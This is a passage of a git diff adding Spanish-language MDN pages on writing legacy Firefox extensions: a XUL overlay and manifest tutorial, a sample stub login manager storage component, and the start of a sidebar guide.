+<p>Aclarado esto comenzamos. Crea una carpeta para tu extensión en algún lugar de tu disco duro, e.j. <code>C:\extensions\my_extension\</code> o <code>~/extensions/my_extension/</code>. (Nota: usa todos los caracteres en minúscula) Dentro de esta carpeta creamos otra carpeta llamada <code>chrome</code>, dentro de <code>chrome</code> creamos otra carpeta llamada <code>content</code>. (En sistemas Unix podemos crear los 3 directorios con el siguiente comando <code>mkdir -p chrome/content</code> dentro del directorio de raíz de la extensión.)</p>
+<p>Dentro de la <strong>raíz</strong> de la carpeta extensión, junto a la carpeta <code>chrome</code>, creamos dos archivos de textos vacíos, uno llamado <code>chrome.manifest</code> y el otro <code>install.rdf</code>.</p>
+<p>Deberías tener algo así:</p>
+<pre>&lt;carpeta extension&gt;\
+          install.rdf
+          chrome.manifest
+          chrome\
+             content\
+</pre>
+<p>Puedes encontrar más tips (ideas) sobre la configuración del ambiente de desarrollo en <a class="external" href="http://kb.mozillazine.org/Setting_up_extension_development_environment">Mozillazine Knowledge Base</a>.</p>
+<h2 id="Crear_el_manifest_de_la_instalaci.C3.B3n" name="Crear_el_manifest_de_la_instalaci.C3.B3n">Crear el manifiesto de la instalación</h2>
+<p>Abre el archivo llamado <code><a href="/es/docs/Manifiesto_de_instalación" title="Manifiesto_de_instalación">install.rdf</a></code> que creaste en la carpeta raíz de tu extensión y escribe lo siguiente en él:</p>
+<pre>&lt;?xml version="1.0"?&gt;
+
+&lt;RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+     xmlns:em="http://www.mozilla.org/2004/em-rdf#"&gt;
+
+  &lt;Description about="urn:mozilla:install-manifest"&gt;
+    &lt;em:id&gt;<strong><a class="link-mailto" href="mailto:sample@foo.net" rel="freelink">sample@foo.net</a></strong>&lt;/em:id&gt;
+    &lt;em:version&gt;<strong>1.0</strong>&lt;/em:version&gt;
+    &lt;em:type&gt;2&lt;/em:type&gt;
+
+    &lt;!-- Target Application this extension can install into,
+         with minimum and maximum supported versions. --&gt;
+    &lt;em:targetApplication&gt;
+      &lt;Description&gt;
+        &lt;em:id&gt;<strong>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</strong>&lt;/em:id&gt;
+        &lt;em:minVersion&gt;<strong>1.0+</strong>&lt;/em:minVersion&gt;
+        &lt;em:maxVersion&gt;<strong>1.5.0.*</strong>&lt;/em:maxVersion&gt;
+      &lt;/Description&gt;
+    &lt;/em:targetApplication&gt;
+
+    &lt;!-- Front End MetaData --&gt;
+    &lt;em:name&gt;<strong>¡Ejemplo!</strong>&lt;/em:name&gt;
+    &lt;em:description&gt;<strong>Una extensión de prueba</strong>&lt;/em:description&gt;
+    &lt;em:creator&gt;<strong>Tu nombre aquí</strong>&lt;/em:creator&gt;
+    &lt;em:homepageURL&gt;<strong>http://www.foo.com/</strong>&lt;/em:homepageURL&gt;
+  &lt;/Description&gt;
+&lt;/RDF&gt;
+</pre>
+
+<ul>
+  <li><strong><a class="link-mailto" href="mailto:sample@foo.net" rel="freelink">sample@foo.net</a></strong> - la ID de tu extensión. Esta es una clave que has creado para identificar tu extensión en formato de correo electrónico (nota: esta clave no debería ser tu email). Hazla única. Otra opción es usar un GUID.</li>
+  <li>Especifica <code>&lt;em:type&gt;2&lt;/em:type&gt;</code> -- el 2 indica que una extensión está siendo descrita (mira en <a href="/es/docs/Manifiesto_de_instalación#tipo" title="Manifiesto_de_instalación#tipo">Instalar el manifest#tipo</a> para ver los otros códigos).</li>
+  <li><strong>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</strong> - La ID del programa Firefox.</li>
+  <li><strong>1.0+</strong> - indica la versión mínima de Firefox con la que afirmas que tu extensión funcionará. Establece ésta como la versión mínima con la que te comprometes a comprobar y corregir errores.</li>
+  <li><strong>1.5.0.*</strong> - indica la versión máxima de Firefox con la que afirmas que tu extensión funcionará. ¡Establece ésta como no superior a la máxima versión que esté disponible!</li>
+</ul>
+<p>Mira <a href="/es/docs/Manifiesto_de_instalación" title="Manifiesto_de_instalación">Instalar el manifest</a> para una relación completa de las propiedades tanto obligatorias como opcionales.</p>
+<p>Guarda el archivo.</p>
+<h2 id="Ampliando_el_Navegador_con_XUL" name="Ampliando_el_Navegador_con_XUL">Ampliando el navegador con XUL</h2>
+<p>La interfaz de usuario de Firefox está escrita en XUL y Javascript. <a href="/es/docs/XUL" title="XUL">XUL</a> es una implementación XML que proporciona elementos de la interfaz de usuario como botones, menús, barras de botones etc. Las acciones del usuario se controlan mediante JavaScript. Para ampliar el navegador modificamos o añadimos elementos de la interfaz de usuario. Añadimos nuevos elementos mediante la inserción de nuevos elementos XUL DOM dentro de la ventana del navegador, y los modificamos usando scripts e incluyendo manejadores de eventos.</p>
+<p>El navegador está definido en un archivo XUL llamado <code>browser.xul</code> (<code>$FIREFOX_INSTALL_DIR/chrome/browser.jar</code> que incluye <code>content/browser/browser.xul</code>). En el archivo browser.xul podemos encontrar la barra de estado, definida en aproximadamente estos términos:</p>
+<pre>&lt;statusbar id="status-bar"&gt;
+ ... &lt;statusbarpanel&gt;s ...
+&lt;/statusbar&gt;
+</pre>
+<p><code>&lt;statusbar id="status-bar"&gt;</code> es un "punto de anclaje" para una capa XUL.</p>
+<h3 id="Capas__XUL" name="Capas__XUL">Capas XUL</h3>
+<p><a href="/es/docs/Capas_XUL" title="Capas_XUL">Capas XUL</a> son una manera de añadir un elemento a la interfaz de usuario en un documento XUL durante el tiempo de ejecución. Una capa XUL es un archivo .xul que marca elementos XUL para insertar en puntos de anclaje específicos dentro del "documento maestro". Estos fragmentos  indican que los elementos pueden ser añadidos, modificados o eliminados.</p>
+<p><strong>Ejemplo de documento de capa XUL</strong></p>
+<pre>&lt;?xml version="1.0"?&gt;
+&lt;overlay id="sample"
+         xmlns="<span class="nowiki">http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</span>"&gt;
+ &lt;statusbar id="<strong>status-bar</strong>"&gt;
+  &lt;statusbarpanel id="my-panel" label="Hello, World"/&gt;
+ &lt;/statusbar&gt;
+&lt;/overlay&gt;
+</pre>
+<p>El <code>&lt;statusbar&gt;</code> llamado <code><strong>status-bar</strong></code> indica el punto de anclaje dentro de la ventana del navegador donde lo queremos incluir.</p>
+<p>El <code>&lt;statusbarpanel&gt;</code> hijo es un nuevo elemento que queremos insertar en el punto de anclaje.</p>
+<p>Copia el código de ejemplo arriba mostrado y guardaló en un archivo llamado <code><strong>sample.xul</strong></code> dentro de la carpeta <code>chrome/content</code> que creó.</p>
+<p>Para más información sobre elementos de inserción y modificar la interfaz de usuario empleando Capas, mira más abajo.</p>
+<h2 id="Chrome_URIs" name="Chrome_URIs">Chrome URIs</h2>
+<p>Los archivos XUL forman parte de "<a href="/es/docs/Chrome_Registration" title="Chrome_Registration">Chrome Packages</a>" - paquetes de componentes de interfaz del usuario, los cuales se cargan a través de la dirección <code>chrome://</code> URIs. Más que cargar el navegador desde el disco utilizando un (archivo) <code>file://</code> URI (ya que la ubicación de Firefox en un sistema puede cambiar de una plataforma a otra y de un sistema a otro), los desarrolladores de Mozilla se decantaron por una solución para crear URI al contexto de XUL,que la aplicación instalada ya conoce.</p>
+<p>La ventana del navegador es: <code><a class="external" rel="freelink">chrome://browser/content/browser.xul</a></code> ¡Prueba a teclear esta dirección URL en la barra de navegación de Firefox!</p>
+<p>Los Chrome URIs constan de varios componentes:</p>
+<ul>
+  <li>En primer lugar, la <strong>URI scheme</strong> Esquema URI (<code>chrome</code>) informa a la librería de red de Firefox de que es un 'Chrome URI' y que el contenido que se cargue debe ser manejado de manera especial.</li>
+  <li>En segundo lugar, un nombre de paquete (en el ejemplo superior utilizamos <code><strong>browser</strong></code>), que identifica la extension en la interfaz del usuario. Este nombre debe ser, en un caso ideal, único, de esa manera se evitará el conflicto entre extensiones.</li>
+  <li>En tercer lugar, el tipo de información que ofrece el archivo. Hay tres tipos: <code>content</code> (XUL, JavaScript, XBLs, etc. que forman la estructura y el comportamiento de una aplicación UI), <code>locale</code> (DTD, archivos .propiedades, etc., que contienen cadenas para la <a href="/es/docs/Localization" title="Localization">localization</a> del UI), y <code>skin</code> (CSS e imágenes que forman el <a href="/es/docs/Theme" title="Theme">theme</a> del UI)</li>
+  <li>En último lugar, la ruta del archivo a cargar.</li>
+</ul>
+<p>Por lo tanto, <code><a class="external" rel="freelink">chrome://foo/skin/bar.png</a></code> carga el archivo <code>bar.png</code> de la sección <code>skin</code>, del tema <code>foo</code>.</p>
+<p>Cuando cargas contenido usando un Chrome URI, Firefox usa el Chrome Registry para traducir esos URIs en los archivos fuentes en el disco (o en paquetes JAR).</p>
+<h2 id="Creando_un_Chrome_manifest" name="Creando_un_Chrome_manifest">Creando un Chrome manifest</h2>
+<p>Para más información sobre el Chrome manifest y las propiedades que soporta, mira la referencia <a href="/es/docs/Chrome_Manifest" title="Chrome_Manifest">Chrome Manifest</a>.</p>
+<p>Abre el archivo llamado <code><strong>chrome.manifest</strong></code> que creaste en el directorio <code>chrome</code> en la raìz de la jerarquía de la carpeta orìgen de la extensión</p>
+<p>Agrega este código:</p>
+<pre>content     sample    chrome/content/
+</pre>
+<p>(<strong>¡No te olvides de la barra oblicua, "<code>/</code>"!</strong> sin ella, la extensión no se cargará.)</p>
+<p>Esto especifica lo siguiente:</p>
+<ol>
+  <li>Tipo de material dentro de un paquete chrome.</li>
+  <li>Nombre del paquete chrome (Asegúrate de usar todos los caracteres en minúscula para el nombre del paquete "sample", ya que Firefox/Thunderbird no lo soporta en la versión 2 y anteriores - {{ Bug(132183) }})</li>
+  <li>Localización de los archivos del paquete chrome.</li>
+</ol>
+<p>Esta línea dice que para obtener una muestra del paquete chrome, debemos encontrar los archivos de <strong>content</strong> en la ruta <code>chrome/content</code>, la cual es relativa a la ruta de <code>chrome.manifest</code>.</p>
+<p>Nótese que el contenido, los archivos de idioma y los del skin, deben mantenerse dentro de carpetas llamadas <strong>content</strong> (para contenido), <strong>locale</strong> (para idioma) y <strong>skin</strong> dentro de tu subdirectorio <code>chrome</code>.</p>
+<p>Salva los cambios del archivo. Cuando inicies Firefox con tu extensión, (lo cual se hará despues en este tutorial), aquel-Firefox- registrará el chrome del paquete.</p>
+<h2 id="Registrar_un_Overlay" name="Registrar_un_Overlay">Registrar un Overlay</h2>
+<p>Necesitas que Firefox fusione tu overlay con la ventana del browser cada vez que se muestra, por lo que añade esta línea a tu archivo <code>chrome.manifest</code>:</p>
+<pre>overlay <a class="external" rel="freelink">chrome://browser/content/browser.xul</a> <a class="external" rel="freelink">chrome://sample/content/sample.xul</a>
+</pre>
+<p><br>
+  Esto le dice a Firefox que fusione <code>sample.xul</code> con <code>browser.xul</code> cuando <code>browser.xul</code> se cargue.</p>
+<h2 id="Pruebas" name="Pruebas">Pruebas</h2>
+<p>Primero, necesitamos informar a Firefox acerca de tu extensión. En los malos y viejos tiempos de Firefox 1.0, ésto significaba empaquetar tu extensión como un XPI e instalarlo a través de la interfaz de usuario, lo que era engorroso. Ahora es mucho más simple.</p>
+<ol>
+  <li>Abre tu <a class="external" href="http://kb.mozillazine.org/Profile_folder">carpeta Profiles</a> y adentrate en el perfil con el que deseas trabajar (e.g. <code>Firefox/Profiles/&lt;profile_id&gt;.default/</code>).</li>
+  <li>Abre la carpeta <strong>extensions</strong> (creala si ésta no existe)</li>
+  <li>Crea un nuevo archivo de texto, y añade la ruta de la carpeta que contiene tu extensión, e.g. <code>C:\extensions\my_extension\</code> o <code>~/extensions/my_extension</code>. Guarda el archivo con el identificador de tu extensión como nombre de archivo, e.g. <code><a class="link-mailto" href="mailto:sample@foo.net" rel="freelink">sample@foo.net</a></code></li>
+</ol>
+<p>¡¡Ahora estás preparado para comprobar tu extensión!!</p>
+<p>Ejecuta Firefox. Firefox detectará el vínculo de texto al directorio de tu extensión y la instalará. Cuando la ventana del navegador aparezca verás el texto "Hello, World!" en el lado derecho del panel de la barra de estado.</p>
+<p>Ahora puedes retornar al archivo .xul y realizar cambios, reinicia Firefox y éstos se verán reflejados.</p>
+&lt;center&gt;
+  <p><img alt="Image:Helloworld_tools_menu.PNG" class="internal" src="/@api/deki/files/1116/=Helloworld_tools_menu.PNG"></p>
+  <p><img alt="Image:Helloworld_extensions_wnd.PNG" class="internal" src="/@api/deki/files/1115/=Helloworld_extensions_wnd.PNG"></p>
+&lt;/center&gt;
+<h2 id="Empaquetado" name="Empaquetado">Empaquetado</h2>
+<p>Ahora que tu extensión funciona, puedes empaquetarla para su distribución e instalación.</p>
+<p>Comprime con zip los contenidos de las carpetas de tu carpeta (no la carpeta de la extensión en sí misma) y cambia la extensión del archivo de .zip a .xpi. En windows XP, puedes hacer esto fácilmente seleccionando todas las carpetas y subcarpeta de la carpeta de tu extensión, haz click con el botón derecho y selecciona "enviar a" -&gt; "Comprimir carpeta". Se creará un archivo .zip. Renómbralo y ya está.</p>
+<p>Ahora sube el archivo .xpi a tu servidor, asegurándote de que se sirve con el tipo mime <code>application/x-xpinstall</code>. Haciendo un hipervínculo al archivo puedes permitir a la gente que descargue e instale tu extensión en Firefox.</p>
+<h3 id="Usando_addons.mozilla.org" name="Usando_addons.mozilla.org">Usando addons.mozilla.org</h3>
+<p>En el sitio de distribución Mozilla Update puedes subir tus extensiones totalmente gratis. Tus extensiones serán alojadas en los mirrors de la red Mozilla para garantizar la transferencia directa aún cuando pueda ser muy popular su descarga. La web de Mozilla proporciona a los usuarios una instalación sencilla, y podrán automáticamente disponer de las ultimas versiones que hagas de tu extensión. Además Mozilla Update permite que los usuarios comenten y hagan mejoras sobre tu extensión. ¡Es muy recomendable que utilices Mozilla Update para distribuir tus extensiones!</p>
+<p>¡Visita <a class="external" href="http://addons.mozilla.org/developers/" rel="freelink">http://addons.mozilla.org/developers/</a> para crear una cuenta y comenzar a distribuir tu extensión!</p>
+<p><em>Nota:</em> Tu extensión será aceptada y descargada más rápidamente si tiene una buena descripción y algunas imágenes en uso.</p>
+<h3 id="Colocaci.C3.B3n_de_extensiones_en_el_registro_de_Windows" name="Colocaci.C3.B3n_de_extensiones_en_el_registro_de_Windows">Colocación de extensiones en el registro de Windows</h3>
+<p>En Windows, la información sobre las extensiones se puede agregar al registro, y dicha extensión será automáticamente seleccionada la próxima vez que se ejecute la aplicación. Esto permite que los instaladores de la aplicación integren fácilmente la extensión. Ver <a href="/es/docs/Agregar_una_Extensión_usando_el_Registro_de_Windows" title="Agregar_una_Extensión_usando_el_Registro_de_Windows">Agregar una Extensión usando el Registro de Windows</a> para más información.</p>
+<h2 id="M.C3.A1s_sobre_las_Capas_XUL" name="M.C3.A1s_sobre_las_Capas_XUL">Más sobre las capas XUL</h2>
+<p>Además de añadir elementos de la interfaz de usuario en el punto de anclaje, puede emplear fragmentos XUL dentro de las capas para:</p>
+<ul>
+  <li>Cambiar atributos en el punto de anclaje, e.g. <code>&lt;statusbar id="status-bar" hidden="true"/&gt;</code> (esconde la barra de estado)</li>
+  <li>Eliminar el punto de anclaje del documento maestro, e.g. <code>&lt;statusbar id="status-bar" removeelement="true"/&gt;</code></li>
+  <li>Controlar la posición de los elementos insertados:</li>
+</ul>
+<pre>&lt;statusbarpanel position="1" .../&gt;
+
+&lt;statusbarpanel insertbefore="other-id" .../&gt;
+
+&lt;statusbarpanel insertafter="other-id" .../&gt;
+</pre>
+<h2 id="Creando_nuevos_componentes_del_interfaz_de_usuario" name="Creando_nuevos_componentes_del_interfaz_de_usuario">Creando nuevos componentes de la interfaz de usuario</h2>
+<p>Puedes crear tus propias ventanas y cajas de diálogo separadas de los archivos .xul, proporcionar funcionalidad colocando acciones del usuario en ejecución en archivos .js , usar métodos DOM para manipular UI widgets. Puedes usar las reglas de estilos .css, adjuntar imágenes, cambiar colores, etc.</p>
+<p>Ver la guía <a href="/es/docs/XUL" title="XUL">XUL</a> contiene más recursos para desarrolladores XUL.</p>
+<h2 id="Archivos_Por_Defecto" name="Archivos_Por_Defecto">Archivos por defecto</h2>
+<p>Los archivos por defecto son utilizados para crear un perfil de usuario y se crean en la carpeta <code>defaults/</code> que se encuentra dentro de la carpeta raíz de tu extensión. Los archivos .js se deben almacenar dentro de <code>defaults/preferences/</code> - al ser almacenados aquí serán cargados automáticamente por el sistema de preferencias de Firefox- de modo que se pueda tener acceso mediante las <a href="/es/docs/Preferences_API" title="Preferences_API">Preferences API</a>.</p>
+<h2 id="Componente_XPCOM" name="Componente_XPCOM">Componente XPCOM</h2>
+<p>Firefox soporta el uso del componente <a href="/es/docs/XPCOM" title="XPCOM">XPCOM</a> en extensiones. Puedes crear tus propios componentes fácilmente usando JavaScript o C++ (usando el <a href="/es/docs/Gecko_SDK" title="Gecko_SDK">Gecko SDK</a>).</p>
+<p>Coloca todos tus archivos .js o .dll en el directorio <code>components/</code>- para que sean automáticamente registrados la primera vez que inicie Firefox después de instalada la extensión.</p>
+<p>Para más información revisa <a href="/es/docs/How_to_Build_an_XPCOM_Component_in_Javascript" title="How_to_Build_an_XPCOM_Component_in_Javascript">How to Build an XPCOM Component in Javascript</a> y el libro <a href="/es/docs/Creating_XPCOM_Components" title="Creating_XPCOM_Components">Creating XPCOM Components</a>.</p>
+<h3 id="Comandos_de_la_Aplicaci.C3.B3n" name="Comandos_de_la_Aplicaci.C3.B3n">Comandos de la aplicación</h3>
+<p>Una de las ventajas de las aplicaciones que usan el componente XPCOM es la de poder usar líneas de comandos para su ejecución tanto en Firefox como en Thunderbird. Puedes utilizar esta técnica para correr tus extensiones:</p>
+<pre> firefox.exe -myapp
+</pre>
+<p><span class="comment">I should move the useful parts of this to the Command Line page. -Nickolay This is done by adding a component containing the function... function NSGetModule(comMgr, fileSpec) { return myAppHandlerModule; } This function is run by firefox each time firefox is started. Firefox registers the myAppHandlerModule's by calling its 'registerSelf()'. Then it obtains the myAppHandlerModule's handler factory via 'getClassObject()'. The handler factory is then used to create the handle using its 'createInstance(). Finally, the handle's 'handle(cmdline)' processes the command line cmdline's handleFlagWithParam() and handleFlag().</span> Ver <a href="/es/docs/Chrome/Command_Line" title="Chrome/Command_Line">Chrome: Command Line</a> o visitar <a class="external" href="http://forums.mozillazine.org/viewtopic.php?t=365297">forum discussion</a> para más detalles.</p>
+<h2 id="Ubicaci.C3.B3n" name="Ubicaci.C3.B3n">Ubicación</h2>
+<p>Para permitir más de un lenguaje, debes separar las cadenas del contenido usando <a href="/es/docs/XUL_Tutorial/Localization" title="XUL_Tutorial/Localization">entities</a> y <a href="/es/docs/XUL_Tutorial/Property_Files" title="XUL_Tutorial/Property_Files">string bundles</a>. ¡Es mucho más fácil de hacer esto cuando estás desarrollando tu extensión que volver y hacerlo luego!</p>
+<p>La información de la ubicación está almacenada en el directorio locale para las extensiones. Por ejemplo, para agregar un locale para nuestra extensión de prueba, crea un directorio llamado "locale" en chrome (donde esta ubicado el "contenido" del directorio) y agrega las siguientes líneas al archivo chrome.manifest:</p>
+<pre>locale sample sampleLocale chrome/locale/
+</pre>
+<p>Para crear valores de atributos ubicables en XUL, pones los valores en un archivo <code>.ent</code> (o un <code>.dtd</code>), el cual deberá ponerse en el directorio locale y verse así:</p>
+<pre>&lt;!ENTITY  button.label     "Clickeame!"&gt;
+&lt;!ENTITY  button.accesskey "C"&gt;
+</pre>
+<p>Y entonces inclúyelo en la parte superior del documento XUL (pero debajo de: "&lt;?xml version"1.0"?&gt;") quedando asi:</p>
+<pre>&lt;!DOCTYPE <strong>window</strong> SYSTEM "<a class="external" rel="freelink">chrome://packagename/locale/filename.ent</a>"&gt;
+</pre>
+<p>Donde <code><strong>window</strong></code> es el <code><a href="/es/docs/DOM/element.localName" title="DOM/element.localName">localName</a></code> del elemento raíz del documento XUL, y el valor de la propiedad  <code>SYSTEM</code> es la URI de chorme al archivo entity. Para nuestra extensión de ejemplo, el elemento de la raíz es <code><strong>overlay</strong></code>.</p>
+<p>Para usar entities, tu XUL debe verse asi:</p>
+<pre>&lt;button label="&amp;button.label;" accesskey="&amp;button.accesskey;"/&gt;
+</pre>
+<p>El registro de Chrome se asegurara que el archivo entity ha sido cargado del  paquete correspondiente a la localizacion elegida.</p>
+<p>Para las lineas que usarás en tu script, crea un archivo .properties; un archivo de texto que contendrá estas líneas:</p>
+<pre>key=value
+</pre>
+<p>Entonces usa el tag <code><a href="/es/docs/NsIStringBundleService" title="NsIStringBundleService">nsIStringBundleService</a></code>/<code><a href="/es/docs/NsIStringBundle" title="NsIStringBundle">nsIStringBundle</a></code> o el tag <code><a class="external" href="http://xulplanet.com/references/elemref/ref_stringbundle.html">&lt;stringbundle&gt;</a></code> para cargar los valores en el script.</p>
+<h2 id="Comprendiendo_el_navegador" name="Comprendiendo_el_navegador">Comprender el navegador</h2>
+<p>Utiliza <a href="/es/docs/DOM_Inspector" title="DOM_Inspector">DOM Inspector</a> (no es parte de la instalación <strong>Estandar</strong> de Firefox, debes reinstalar seleccionando instalación personalizada y elegir <strong>Herramientas de Desarrollo </strong> si no hay un elemento "Inspector de DOM" en el menu Herramientas del browser) para inspeccionar la ventana del browser o cualquier otra ventana XUL que quieras extender.</p>
+<p>Utiliza el botón de búsqueda apuntar-y-clic situado en la parte superior izquierda de la barra de herramientas de DOM Inspector visualmente en un nodo de la ventana XUL para seleccionarlo. Cuando hagas esto DOM Inspector ira dentro del árbor jerárquico al nodo sobre el que hiciste clic.</p>
+<p>Utiliza el panel lateral derecho de DOM Inspector para descubrir los puntos de anclaje con los ids que puedes utilzar para insertar tus elementos en los overlays. Si no pudieses encontrar un elemento con un id sobre el que hacer la mezcla, puedes añadir un script en tu overlay e insertar tus elementos cuando el evento load se dispare en la ventana XUL maestra.</p>
+<p>Depurar extensiones</p>
+<p><strong>Herramientas analitícas para Depurar (Debugging)</strong></p>
+<ul>
+  <li>El <a href="/es/docs/DOM_Inspector" title="DOM_Inspector">DOM Inspector</a> - inspecciona atributos, estructura del DOM, reglas de estilos CSS que están afectando (ej. buscar-porque sus reglas de estilo parecen no estar trabajando para un elemento -, ¡una herramienta invaluable!)</li>
+  <li><a href="/es/docs/Venkman" title="Venkman">Venkman</a> - Marca de control (breakpoints) en JavaScript e inspeccionar la pila de llamada.</li>
+  <li><code><a href="/es/docs/Core_JavaScript_1.5_Reference/Objects/Function/arguments/callee" title="Core_JavaScript_1.5_Reference/Objects/Function/arguments/callee">arguments.callee</a>.<a href="/es/docs/Core_JavaScript_1.5_Reference/Objects/Function/caller" title="Core_JavaScript_1.5_Reference/Objects/Function/caller">caller</a></code> en JavaScript - accede a la pila de llamada de funciones.</li>
+</ul>
+<p><strong>printf debugging</strong></p>
+<ul>
+  <li>Ejecutar Firefox con <code>-console</code> en la linea de comandos y usar</li>
+</ul>
+<p><code><a href="/es/docs/DOM/window.dump" title="DOM/window.dump">dump</a>("string")</code> (ver el enlace para detalles)</p>
+<ul>
+  <li>Usar <code><a href="/es/docs/NsIConsoleService" title="NsIConsoleService">nsIConsoleService</a></code> para ingresar/invocar la consola JavaScript</li>
+</ul>
+<p><strong>Depuración avanzada</strong></p>
+<ul>
+  <li>Ejecutar una “construcción” de Firefox de depuración y establecer los puntos de interrupción en el propio Firefox, o sus componentes C++. Para el desarrollador experimentado, esta es a menudo la manera más rápida de diagnosticar un problema. Para más información ver <a href="/es/docs/Build_Documentation" title="Build_Documentation">Build Documentation</a> y <a href="/es/docs/Developing_Mozilla" title="Developing_Mozilla">Developing Mozilla</a>.</li>
+</ul>
+<ul>
+  <li>Para obtener mas consejos útiles ver <a href="/es/docs/Debugging_a_XULRunner_Application" title="Debugging_a_XULRunner_Application">Debugging a XULRunner Application</a>.</li>
+</ul>
+<h3 id="Gu.C3.ADa_R.C3.A1pida" name="Gu.C3.ADa_R.C3.A1pida">Guía Rápida</h3>
+<p>Otro tutorial desde <a class="external" href="http://kb.mozillazine.org/Getting_started_with_extension_development">MozillaZine Knowledge Base</a>, también puedes bajar este archivo para usarlo como base en la creación de tus extensiones <a class="external" href="http://mozilla.doslash.org/stuff/helloworld.zip">helloworld.zip</a>.</p>
diff --git a/files/es/crear_un_módulo_de_administrador_de_cuentas_almacenadas/index.html b/files/es/crear_un_módulo_de_administrador_de_cuentas_almacenadas/index.html
new file mode 100644
index 0000000000..480f8db420
--- /dev/null
+++ b/files/es/crear_un_módulo_de_administrador_de_cuentas_almacenadas/index.html
@@ -0,0 +1,122 @@
+---
+title: Crear un módulo de Administrador de Cuentas almacenadas
+slug: Crear_un_módulo_de_Administrador_de_Cuentas_almacenadas
+tags:
+  - Firefox 3
+  - páginas_a_traducir
+translation_of: Mozilla/Creating_a_login_manager_storage_module
+---
+<p>{{ Fx_minversion_header(3) }} The Login Manager manages and stores user passwords. Extensions can replace the built-in password storage with their own implementation. This can be useful if you want to integrate Firefox password management with an existing password management system, or use your own password storage format or database.</p>
+
+<p>If you just want to use the Login Manager in your extensions, refer to the article <a href="es/Using_nsILoginManager">Using nsILoginManager</a>.</p>
+
+<p>Overriding the built-in Login Manager storage consists of two tasks:</p>
+
+<ol>
+ <li>Implement the {{ Interface("nsILoginManagerStorage") }} interface.</li>
+ <li>Register that interface in a specific category.</li>
+</ol>
+
+<div class="note">Some work has already been done to integrate the Login Manager with the Mac OS X keychain ({{ Bug(106400) }}) and Gnome Keyring Manager ({{ Bug(309807) }}). You should start with the existing code if you want to implement that in your extension.</div>
+
+<h3 id="Sample_JavaScript_implementation" name="Sample_JavaScript_implementation">Sample JavaScript implementation</h3>
+
+<p>The following code snippet is a JavaScript component that implements a dummy {{ Interface("nsILoginManagerStorage") }} interface. See <a href="es/How_to_Build_an_XPCOM_Component_in_Javascript">How_to_Build_an_XPCOM_Component_in_Javascript</a> for more details about JavaScript components.</p>
+
+<pre>const Cc = Components.classes;
+const Ci = Components.interfaces;
+
+Components.utils.import("resource://gre/modules/XPCOMUtils.jsm");
+
+function SampleLoginManagerStorage() {}
+SampleLoginManagerStorage.prototype = {
+  classDescription: "Sample nsILoginManagerStorage implementation",
+  contractID: "@example.com/login-manager/storage/sample;1",
+  classID: Components.ID("{364a118c-747a-4f6d-ac63-2d2998e5a5c1}"),
+  QueryInterface: XPCOMUtils.generateQI([Ci.nsILoginManagerStorage]),
+
+  // This registers the category for overriding the built-in nsILoginManagerStorage
+  _xpcom_categories: [
+    {
+      category: "login-manager-storage",
+      entry: "nsILoginManagerStorage"
+    }
+  ],
+
+
+ // Console logging service, used for debugging.
+  __logService : null,
+  get _logService() {
+    if (!this.__logService)
+      this.__logService = Cc["@mozilla.org/consoleservice;1"].
+                            getService(Ci.nsIConsoleService);
+    return this.__logService;
+  },
+  log: function (message) {
+    dump("SampleLoginManager: " + message + "\n");
+    this._logService.logStringMessage("SampleLoginManager: " + message);
+  },
+  // Logs function name and arguments for debugging
+  stub: function(arguments) {
+    var args = [];
+    for (let i = 0; i &lt; arguments.length; i++)
+      args.push(arguments[i])
+    this.log("Called " + arguments.callee.name + "(" + args.join(",") + ")");
+  },
+
+  init: function SLMS_init() {
+    this.stub(arguments);
+  },
+  initWithFile: function SLMS_initWithFile(aInputFile, aOutputFile) {
+    this.stub(arguments);
+  },
+  addLogin: function SLMS_addLogin(login) {
+    this.stub(arguments);
+  },
+  removeLogin: function SLMS_removeLogin(login) {
+    this.stub(arguments);
+  },
+  modifyLogin: function SLMS_modifyLogin(oldLogin, newLogin) {
+    this.stub(arguments);
+  },
+  getAllLogins: function SLMS_getAllLogins(count) {
+    this.stub(arguments);
+  },
+  removeAllLogins: function SLMS_removeAllLogins() {
+    this.stub(arguments);
+  },
+  getAllDisabledHosts: function SLMS_getAllDisabledHosts(count) {
+    this.stub(arguments);
+  },
+  getLoginSavingEnabled: function SLMS_getLoginSavingEnabled(hostname) {
+    this.stub(arguments);
+  },
+  setLoginSavingEnabled: function SLMS_setLoginSavingEnabled(hostname, enabled) {
+    this.stub(arguments);
+  },
+  findLogins: function SLMS_findLogins(count, hostname, formSubmitURL, httpRealm) {
+    this.stub(arguments);
+  },
+  countLogins: function SLMS_countLogins(aHostname, aFormSubmitURL, aHttpRealm) {
+    this.stub(arguments);
+  }
+};
+
+function NSGetModule(compMgr, fileSpec)
+  XPCOMUtils.generateModule([SampleLoginManagerStorage]);
+
+</pre>
+
+<h3 id="Sample_C.2B.2B_Implementation" name="Sample_C.2B.2B_Implementation">Sample C++ Implementation</h3>
+
+<p>{{ Bug(309807) }} contains a complete example. The category registration looks like this:</p>
+
+<pre>  nsCOMPtr&lt;nsICategoryManager&gt; cat =
+      do_GetService(NS_CATEGORYMANAGER_CONTRACTID);
+  NS_ENSURE_STATE(cat);
+
+  cat-&gt;AddCategoryEntry("login-manager-storage", "nsILoginManagerStorage",
+                        kYourContractID, PR_TRUE, PR_TRUE, nsnull);
+</pre>
+
+<p>Don't forget to unregister the category on unload.</p>
diff --git a/files/es/crear_un_panel_lateral_en_firefox/index.html b/files/es/crear_un_panel_lateral_en_firefox/index.html
new file mode 100644
index 0000000000..07e7834c0b
--- /dev/null
+++ b/files/es/crear_un_panel_lateral_en_firefox/index.html
@@ -0,0 +1,163 @@
+---
+title: Crear un panel lateral en Firefox
+slug: Crear_un_panel_lateral_en_Firefox
+tags:
+  - Complementos
+  - Todas_las_Categorías
+  - extensiones
+translation_of: Mozilla/Creating_a_Firefox_sidebar
+---
+<p>
+</p><p>Este artículo muestra cómo crear un panel lateral registrado para Firefox 2 o superior. Véase la sección de referencias para más información sobre cómo crear una extensión para versiones anteriores.
+</p>
+<h2 id="Introducci.C3.B3n"> Introducción </h2>
+<p>Este artículo es un punto de partida para la creación de un nuevo panel lateral para Firefox. Lo que haremos será crear un panel lateral y registrarlo para que esté disponible en el menú. La meta es crear un panel vacío que pueda ser usado como inicio para nuevas aplicaciones.
